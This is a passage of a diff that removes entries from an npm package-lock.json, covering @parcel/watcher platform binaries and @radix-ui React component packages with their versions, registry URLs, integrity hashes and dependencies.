- "integrity": "sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "android"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-darwin-arm64": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.1.tgz",
- "integrity": "sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-darwin-x64": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.1.tgz",
- "integrity": "sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-freebsd-x64": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.1.tgz",
- "integrity": "sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "freebsd"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-linux-arm-glibc": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.1.tgz",
- "integrity": "sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==",
- "cpu": [
- "arm"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-linux-arm-musl": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.1.tgz",
- "integrity": "sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==",
- "cpu": [
- "arm"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-linux-arm64-glibc": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.1.tgz",
- "integrity": "sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-linux-arm64-musl": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.1.tgz",
- "integrity": "sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-linux-x64-glibc": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.1.tgz",
- "integrity": "sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-linux-x64-musl": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.1.tgz",
- "integrity": "sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-win32-arm64": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.1.tgz",
- "integrity": "sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==",
- "cpu": [
- "arm64"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-win32-ia32": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.1.tgz",
- "integrity": "sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==",
- "cpu": [
- "ia32"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher-win32-x64": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.1.tgz",
- "integrity": "sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==",
- "cpu": [
- "x64"
- ],
- "dev": true,
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/parcel"
- }
- },
- "node_modules/@parcel/watcher/node_modules/detect-libc": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz",
- "integrity": "sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==",
- "dev": true,
- "optional": true,
- "bin": {
- "detect-libc": "bin/detect-libc.js"
- },
- "engines": {
- "node": ">=0.10"
- }
- },
- "node_modules/@pkgjs/parseargs": {
- "version": "0.11.0",
- "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz",
- "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==",
- "optional": true,
- "engines": {
- "node": ">=14"
- }
- },
- "node_modules/@radix-ui/number": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.1.0.tgz",
- "integrity": "sha512-V3gRzhVNU1ldS5XhAPTom1fOIo4ccrjjJgmE+LI2h/WaFpHmx0MQApT+KZHnx8abG6Avtfcz4WoEciMnpFT3HQ=="
- },
- "node_modules/@radix-ui/primitive": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.1.tgz",
- "integrity": "sha512-SJ31y+Q/zAyShtXJc8x83i9TYdbAfHZ++tUZnvjJJqFjzsdUnKsxPL6IEtBlxKkU7yzer//GQtZSV4GbldL3YA=="
- },
- "node_modules/@radix-ui/react-accordion": {
- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-accordion/-/react-accordion-1.2.2.tgz",
- "integrity": "sha512-b1oh54x4DMCdGsB4/7ahiSrViXxaBwRPotiZNnYXjLha9vfuURSAZErki6qjDoSIV0eXx5v57XnTGVtGwnfp2g==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-collapsible": "1.1.2",
- "@radix-ui/react-collection": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-alert-dialog": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-alert-dialog/-/react-alert-dialog-1.1.3.tgz",
- "integrity": "sha512-5xzWppXTNZe6zFrTTwAJIoMJeZmdFe0l8ZqQrPGKAVvhdyOWR4r53/G7SZqx6/uf1J441oxK7GzmTkrrWDroHA==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-dialog": "1.1.3",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-slot": "1.1.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-arrow": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.1.tgz",
- "integrity": "sha512-NaVpZfmv8SKeZbn4ijN2V3jlHA9ngBG16VnIIm22nUR0Yk8KUALyBxT3KYEUnNuch9sTE8UTsS3whzBgKOL30w==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-aspect-ratio": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-aspect-ratio/-/react-aspect-ratio-1.1.1.tgz",
- "integrity": "sha512-kNU4FIpcFMBLkOUcgeIteH06/8JLBcYY6Le1iKenDGCYNYFX3TQqCZjzkOsz37h7r94/99GTb7YhEr98ZBJibw==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-avatar": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-avatar/-/react-avatar-1.1.2.tgz",
- "integrity": "sha512-GaC7bXQZ5VgZvVvsJ5mu/AEbjYLnhhkoidOboC50Z6FFlLA03wG2ianUoH+zgDQ31/9gCF59bE4+2bBgTyMiig==",
- "dependencies": {
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-checkbox": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-checkbox/-/react-checkbox-1.1.3.tgz",
- "integrity": "sha512-HD7/ocp8f1B3e6OHygH0n7ZKjONkhciy1Nh0yuBgObqThc3oyx+vuMfFHKAknXRHHWVE9XvXStxJFyjUmB8PIw==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "@radix-ui/react-use-previous": "1.1.0",
- "@radix-ui/react-use-size": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-collapsible": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.2.tgz",
- "integrity": "sha512-PliMB63vxz7vggcyq0IxNYk8vGDrLXVWw4+W4B8YnwI1s18x7YZYqlG9PLX7XxAJUi0g2DxP4XKJMFHh/iVh9A==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-collection": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.1.tgz",
- "integrity": "sha512-LwT3pSho9Dljg+wY2KN2mrrh6y3qELfftINERIzBUO9e0N+t0oMTyn3k9iv+ZqgrwGkRnLpNJrsMv9BZlt2yuA==",
- "dependencies": {
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-slot": "1.1.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-compose-refs": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.1.tgz",
- "integrity": "sha512-Y9VzoRDSJtgFMUCoiZBDVo084VQ5hfpXxVE+NgkdNsjiDBByiImMZKKhxMwCbdHvhlENG6a833CbFkOQvTricw==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-context": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.1.tgz",
- "integrity": "sha512-UASk9zi+crv9WteK/NU4PLvOoL3OuE6BWVKNF6hPRBtYBDXQ2u5iu3O59zUlJiTVvkyuycnqrztsHVJwcK9K+Q==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-context-menu": {
- "version": "2.2.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-context-menu/-/react-context-menu-2.2.3.tgz",
- "integrity": "sha512-i4ZjZNoiAKwxcaKBR5XdiOyEJQdBT4P6TeMtzP4fjlcDJpxwIcmmWkdd13YEzCHHcWYZOyl7fVHKT8dFMHdo3w==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-menu": "2.1.3",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-dialog": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.3.tgz",
- "integrity": "sha512-ujGvqQNkZ0J7caQyl8XuZRj2/TIrYcOGwqz5TeD1OMcCdfBuEMP0D12ve+8J5F9XuNUth3FAKFWo/wt0E/GJrQ==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-dismissable-layer": "1.1.2",
- "@radix-ui/react-focus-guards": "1.1.1",
- "@radix-ui/react-focus-scope": "1.1.1",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-portal": "1.1.3",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-slot": "1.1.1",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "aria-hidden": "^1.1.1",
- "react-remove-scroll": "2.6.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-direction": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.0.tgz",
- "integrity": "sha512-BUuBvgThEiAXh2DWu93XsT+a3aWrGqolGlqqw5VU1kG7p/ZH2cuDlM1sRLNnY3QcBS69UIz2mcKhMxDsdewhjg==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-dismissable-layer": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.2.tgz",
- "integrity": "sha512-kEHnlhv7wUggvhuJPkyw4qspXLJOdYoAP4dO2c8ngGuXTq1w/HZp1YeVB+NQ2KbH1iEG+pvOCGYSqh9HZOz6hg==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-escape-keydown": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-dropdown-menu": {
- "version": "2.1.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.3.tgz",
- "integrity": "sha512-eKyAfA9e4HOavzyGJC6kiDIlHMPzAU0zqSqTg+VwS0Okvb9nkTo7L4TugkCUqM3I06ciSpdtYQ73cgB7tyUgVw==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-menu": "2.1.3",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-focus-guards": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.1.tgz",
- "integrity": "sha512-pSIwfrT1a6sIoDASCSpFwOasEwKTZWDw/iBdtnqKO7v6FeOzYJ7U53cPzYFVR3geGGXgVHaH+CdngrrAzqUGxg==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-focus-scope": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.1.1.tgz",
- "integrity": "sha512-01omzJAYRxXdG2/he/+xy+c8a8gCydoQ1yOxnWNcRhrrBW5W+RQJ22EK1SaO8tb3WoUsuEw7mJjBozPzihDFjA==",
- "dependencies": {
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-callback-ref": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-hover-card": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-hover-card/-/react-hover-card-1.1.3.tgz",
- "integrity": "sha512-D+o67Fd7fjkW10ycdsse1sYuGV9dNQKOhoVii7ksSfUYqQiTPxz9bP/Vu1g6huJ1651/2j8q7JGGWSIBIuGO1Q==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-dismissable-layer": "1.1.2",
- "@radix-ui/react-popper": "1.2.1",
- "@radix-ui/react-portal": "1.1.3",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-id": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.0.tgz",
- "integrity": "sha512-EJUrI8yYh7WOjNOqpoJaf1jlFIH2LvtgAl+YcFqNCa+4hj64ZXmPkAKOFs/ukjz3byN6bdb/AVUqHkI8/uWWMA==",
- "dependencies": {
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-label": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.1.1.tgz",
- "integrity": "sha512-UUw5E4e/2+4kFMH7+YxORXGWggtY6sM8WIwh5RZchhLuUg2H1hc98Py+pr8HMz6rdaYrK2t296ZEjYLOCO5uUw==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-menu": {
- "version": "2.1.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.3.tgz",
- "integrity": "sha512-wY5SY6yCiJYP+DMIy7RrjF4shoFpB9LJltliVwejBm8T2yepWDJgKBhIFYOGWYR/lFHOCtbstN9duZFu6gmveQ==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-collection": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-dismissable-layer": "1.1.2",
- "@radix-ui/react-focus-guards": "1.1.1",
- "@radix-ui/react-focus-scope": "1.1.1",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-popper": "1.2.1",
- "@radix-ui/react-portal": "1.1.3",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-roving-focus": "1.1.1",
- "@radix-ui/react-slot": "1.1.1",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "aria-hidden": "^1.1.1",
- "react-remove-scroll": "2.6.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-menubar": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-menubar/-/react-menubar-1.1.3.tgz",
